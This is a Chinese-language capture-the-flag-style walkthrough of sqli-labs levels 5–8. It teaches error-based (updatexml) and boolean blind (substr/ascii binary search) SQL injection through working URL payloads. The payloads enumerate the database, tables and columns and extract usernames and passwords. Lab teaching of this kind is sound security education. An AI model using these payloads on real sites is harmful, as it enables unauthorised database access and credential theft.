第5-8关包含了报错注入和布尔盲注
一、Less-5(报错注入)
1、判断闭合方式
id=1' --+
2、使用报错函数updatexml(),这个函数有三个参数,在第二个参数的位置上构造报错函数
?id=1' and updatexml(1,1,1)--+
3、使用聚合函数concat(),在第二个参数的位置添加语句,并且把select语句放到括号里去,因为他是一个子查询,这样就查出了数据库的名字
?id=1' and updatexml(1,concat(1,(select database())),1)--+
4、查询表名
?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1)--+
显示超过了一条数据,所以我们需要把他整成一条数据,这里用到了group_concat()函数
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
5、查询字段名
上面我们查到了所有表的名字,这里我们选择查询users表的所有字段
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
6、查询数据
我们查到了字段的名字,那么就要进行最后一步,查他们里面的数据
?id=1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1)--+
但是我们发现由于网页的限制,我们查询的数据显示不全,所以我们一条一条的去查,这里就用到了limit
?id=1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1)--+
这样就查出了第一条用户名以及对应的密码,接下来只需要把limit 0,1中的零一直往上加就好了
?id=1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 1,1)),1)--+
这便是第二条用户名对应的密码,以此类推
二、Less-6(报错注入)
这一关和上面那一关是一样的,只是需要判断一下闭合方式,这里我们只带大家再回顾一下如何判断闭合方式
1、输入?id=1,看看他怎么个事
没动静,那就再试试?id=1 and 1=2,看看有没有动静
2、输入?id=1 and 1=2
也没动静,说明这个报错注入不是数字型的注入类型,那么就尝试字符型的闭合方式
3、先输入个?id=1',看看他怎么个事
还是没动静,那说明人家根本就不是用单引号闭合的,那尝试一下双引号
4、输入?id=1"
哎?有动静了,他给我们报错了,那我们尝试加上注释符给他闭合一下看看
5、输入?id=1" --+
哎!页面恢复正常了,说明我们到这个时候就可以开始进行往里输入语法了,具体过程和第五关一样,只是把单引号改为双引号就好了,这里我们就不过多赘述了
三、Less-7(布尔盲注)
1、布尔盲注的特点
布尔盲注的特点就是它只返回你是对了还是错了,不会告诉你你的报错语法,我们也无法像报错注入那样,利用它的bug输出我们想要的数据,那么这个时候我们就只能一个一个的去判断
2、判断闭合方式
老样子,我们第一步还是先判断闭合方式,这里我已经判断出来了是单引号加两个括号
?id=1')) --+
3、判断它数据库的位数(length())
(1)当位数为1时
?id=1')) and length(database())=1--+
我们输入它的数据库位数等于一,给我们报错了,说明位数不为一,那么接下来尝试位数为2
(2)当位数为2时
?id=1')) and length(database())=2--+
还是报错了,说明位数不是2
以此类推,我们最后可以得到它数据库的位数是8
?id=1')) and length(database())=8--+
4、判断它数据库叫什么
因为我们只知道它的数据库有八位,但是我们不知道它的数据库叫什么,所以我们需要一个一个的去把它数据库的名字推理出来
第一个字母
?id=1')) and substr(database(),1,1)='a'--+
报错了,说明第一个字母不是a,那么去尝试b
?id=1')) and substr(database(),1,1)='b'--+
b也报错了,说明不是b
这样子判断我们会发现太慢了,判断一个数据库的名字都得尝试几百遍,所以我们使用字母所对应的ASCII码值,这样我们就可以用二分法进行判断,从而更快的拿到数据
二分法
(1)第一次判断
英文字母对应的ASCII码值为97-122之间,所以我们直接取中间值
?id=1')) and ascii(substr(database(),1,1))>110--+
可以看到没有报错,说明第一个字母对应的ASCII码的数值范围在110-122之间,那么我们继续
(2)第二次判断
?id=1')) and ascii(substr(database(),1,1))>115--+
报错了,说明第一个字母对应的ASCII码的范围就在110-115之间,我们继续
(3)第三次判断
?id=1')) and ascii(substr(database(),1,1))>113--+
没有报错,说明第一个字母对应的ASCII码值大于113,小于等于115,相信聪明的各位都能看出来第一个字母对应的ASCII码值不是114就是115
(4)第四次判断
?id=1')) and ascii(substr(database(),1,1))>114--+
这次没有报错,那么一定就是115啦
(5)确定答案
这里我给大家放了一张ASCII码表,我们一看便知道115对应的字母就是s,所以数据库的名字,它的第一个字母就是s
ASCII码表
确定数据库的名字
以此类推,我们便可以得知数据库的名字叫做:security
5、判断数据库里有哪些表
还是一样,我们还是只能一个字符一个字符的去判断
这里我们用到了limit 0,1 其中0代表第一个表,1就是代表输出一条数据
(1)判断数据库第一个表的第一个字段
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>114--+
报错了,说明第一个表的第一个字段的ASCII码值小于等于114
根据刚刚我们判断数据库的名字,我们可以确定数据库的第一个表是emails
(2)判断数据库的其他表的字段
只需要把上一条语句中limit 0,1的0改为1
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>114--+
(3)确定所有表的名字
这样子推下去我们就可以得到所有表的名字为:emails,referers,users,uagents
6、判断users表里的所有字段
方法:
把上面的table改为column就好了,然后在select语句的结尾添加一个条件就是table_name='users'
?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>114--+
还是使用二分法一个一个的去判断,limit从0,1开始
这样我们可以确定表里的字段有:id,username,password
7、判断username和password里的所有数据
?id=1')) and ascii(substr((select username from users limit 0,1),1,1))>114--+
还是从第一条数据的第一个字符开始找
limit从0,1开始
这样就可以得到我们想要的数据了
四、Less-8(布尔盲注)
这道题和上一道题也是一样的,只是闭合方式不一样,我已经给大家找到了闭合方式,大家拿去参考就好
?id=1' --+